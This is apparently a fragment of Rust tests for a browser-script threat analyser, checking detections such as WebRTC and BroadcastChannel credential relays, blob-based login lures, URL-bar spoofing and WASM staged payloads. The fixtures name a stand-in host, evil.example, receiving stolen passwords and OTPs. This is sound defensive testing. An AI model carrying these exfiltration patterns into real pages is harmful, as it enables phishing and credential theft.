api: "webrtc.data_channel_send".into(),
args: vec![Value::string("[\"telemetry\",\"candidate=192.168.1.12\"]")],
result: Value::Undefined,
},
]);
assert!(
report
.findings
.iter()
.any(|f| f.title.contains("Covert peer-to-peer exfiltration channel"))
);
}
#[test]
fn credential_surface_plus_webrtc_send_is_credential_relay() {
let report = analyze(&[
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.example/submit\",\"login\",true]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "webrtc.peer_connection".into(),
args: vec![Value::string("[]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "webrtc.data_channel_send".into(),
args: vec![Value::string("[\"telemetry\",\"hunter2\"]")],
result: Value::Undefined,
},
]);
assert!(
report
.findings
.iter()
.any(|f| f.title.contains("Credential relay over WebRTC"))
);
}
#[test]
fn credential_surface_plus_broadcastchannel_is_credential_relay() {
let report = analyze(&[
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.example/submit\",\"login\",true]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "broadcastChannel.create".into(),
args: vec![Value::string("[\"creds\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "broadcastChannel.postMessage".into(),
args: vec![Value::string("[\"creds\",\"password=hunter2\"]")],
result: Value::Undefined,
},
]);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title
.contains("Credential relay via in-browser covert channels")
}));
}
#[test]
fn credential_surface_plus_storage_event_is_credential_relay() {
let report = analyze(&[
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.example/submit\",\"login\",true]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "storageEvent.register".into(),
args: vec![Value::string("[\"listener\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "storageEvent.fire".into(),
args: vec![Value::string("[\"local\",\"otp\",\"654321\",\"\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.example/relay\",\"POST\"]")],
result: Value::Undefined,
},
]);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title
.contains("Credential relay via in-browser covert channels")
}));
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::Persistence
&& f.title.contains("Cross-tab storage-event staging")
}));
}
#[test]
fn observer_driven_staged_credential_injection_is_detected() {
let report = analyze(&[
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.example/submit\",\"login\",true]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "intersectionObserver.observe".into(),
args: vec![Value::string("[1,\"{\\\"threshold\\\":0.5}\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
result: Value::Undefined,
},
]);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title
.contains("Observer-driven staged credential injection")
}));
}
#[test]
fn html_blob_navigation_with_credential_surface_is_detected() {
let report = analyze(&[
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.example/submit\",\"login\",true]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "url.createObjectURL".into(),
args: vec![Value::string(
"[\"blob:https://evil.example/1\",\"text/html\",\"<form action=\\\"https://evil.example/submit\\\"><input type=\\\"password\\\"></form>\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "window.open".into(),
args: vec![Value::string(
"[\"blob:https://evil.example/1\",\"_blank\"]",
)],
result: Value::Undefined,
},
]);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title.contains("Blob-backed credential lure")
}));
}
#[test]
fn mutation_observer_staged_credential_injection_is_detected() {
let report = analyze(&[
Observation::ApiCall {
api: "mutationObserver.observe".into(),
args: vec![Value::string(
"[0,\"{\\\"childList\\\":true,\\\"subtree\\\":true}\"]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.example/submit\",\"login\",true]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
result: Value::Undefined,
},
]);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title
.contains("Observer-driven staged credential injection")
}));
}
#[test]
fn message_channel_plus_worker_and_fetch_is_multi_context_staging() {
let report = analyze(&[
Observation::ApiCall {
api: "messageChannel.create".into(),
args: vec![Value::string("[]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "messagePort.postMessage".into(),
args: vec![Value::string("[\"port1\",\"token=otp-654321\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "worker.create".into(),
args: vec![Value::string("[\"/worker.js\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
result: Value::Undefined,
},
]);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::Persistence
&& f.title
.contains("Covert multi-context staging infrastructure")
}));
}
#[test]
fn wasm_plus_fetch_is_detected() {
let report = analyze(&[
Observation::ApiCall {
api: "wasm.instantiate".into(),
args: vec![Value::string("[\"512\"]")],
result: Value::Undefined,
},
Observation::ApiCall {
api: "fetch".into(),
args: vec![Value::string("[\"https://evil.example/stage\",\"POST\"]")],
result: Value::Undefined,
},
]);
assert!(
report
.findings
.iter()
.any(|f| f.title.contains("WASM-backed staged payload delivery"))
);
}
#[test]
fn wasm_plus_dynamic_code_is_detected() {
let report = analyze(&[
Observation::ApiCall {
api: "wasm.instantiate".into(),
args: vec![Value::string("[\"1024\"]")],
result: Value::Undefined,
},
Observation::DynamicCodeExec {
source: crate::observation::DynamicCodeSource::Eval,
code_preview: "eval(stage)".into(),
},
]);
assert!(
report
.findings
.iter()
.any(|f| f.title.contains("WASM-assisted dynamic execution"))
);
}
#[test]
fn credential_surface_plus_history_spoofing_is_detected() {
let report = analyze(&[
Observation::ApiCall {
api: "credential_form_detected".into(),
args: vec![Value::string(
"[\"https://evil.example/submit\",\"login\",true]",
)],
result: Value::Undefined,
},
Observation::ApiCall {
api: "history.replaceState".into(),
args: vec![Value::string(
"[\"https://login.microsoftonline.com/common/oauth2\"]",
)],
result: Value::Undefined,
},
]);
assert!(report.findings.iter().any(|f| {
f.severity == Severity::Critical
&& f.category == Category::CredentialTheft
&& f.title.contains("Credential lure with URL-bar spoofing")
}));
}
}